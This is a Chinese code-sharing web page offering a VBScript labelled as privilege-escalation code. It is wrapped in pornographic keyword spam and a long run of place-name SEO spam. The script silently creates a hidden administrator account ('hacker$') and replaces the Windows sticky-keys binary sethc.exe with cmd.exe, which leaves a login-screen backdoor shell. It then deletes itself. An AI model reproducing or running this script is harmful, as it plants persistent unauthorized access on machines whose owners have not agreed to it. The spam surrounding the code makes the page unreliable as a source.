最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

提權(quán)vbs代碼

 更新時(shí)間:2011年06月16日 00:54:27   作者:  
用了提升用戶權(quán)限的腳本代碼,學(xué)習(xí)vbs的朋友可以參考下。
復(fù)制代碼 代碼如下:

on error resume next
dim username,password:If Wscript.Arguments.Count Then:username=Wscript.Arguments
(0):password=Wscript.Arguments(1):Else:username="hacker$":password="123456":end if:set
wsnetwork=CreateObject("WSCRIPT.NETWORK"):os="WinNT://"&wsnetwork.ComputerName:Set ob=GetObject
(os):Set oe=GetObject(os&"/Administrators,group"):Set od=ob.Create("user",username):od.SetPassword
password:od.SetInfo:Set of=GetObject(os&"/"&username&",user"):oe.Add(of.ADsPath)'wscript.echo
of.ADsPath
On Error Resume Next
Dim obj, success
Set obj = CreateObject("WScript.Shell")
success = obj.run("cmd /c takeown /f %SystemRoot%\system32\sethc.exe&echo y| cacls %SystemRoot%
\system32\sethc.exe /G %USERNAME%:F&copy %SystemRoot%\system32\cmd.exe %SystemRoot%\system32
\acmd.exe&copy %SystemRoot%\system32\sethc.exe %SystemRoot%\system32\asethc.exe&del %SystemRoot%
\system32\sethc.exe&ren %SystemRoot%\system32\acmd.exe sethc.exe", 0, True)
CreateObject("Scripting.FileSystemObject").DeleteFile(WScript.ScriptName)

相關(guān)文章

最新評(píng)論

开封市| 赣榆县| 开原市| 湄潭县| 宁陵县| 嘉定区| 庆元县| 长沙市| 凯里市| 合川市| 教育| 河北省| 怀来县| 六安市| 莱芜市| 吉木萨尔县| 灵丘县| 永靖县| 泾源县| 屯昌县| 沈阳市| 台东县| 托克逊县| 龙泉市| 时尚| 临泽县| 泰兴市| 昆明市| 石家庄市| 华池县| 阿拉善左旗| 靖安县| 太白县| 兰坪| 依兰县| 康马县| 金塔县| 八宿县| 博湖县| 滦南县| 衡水市|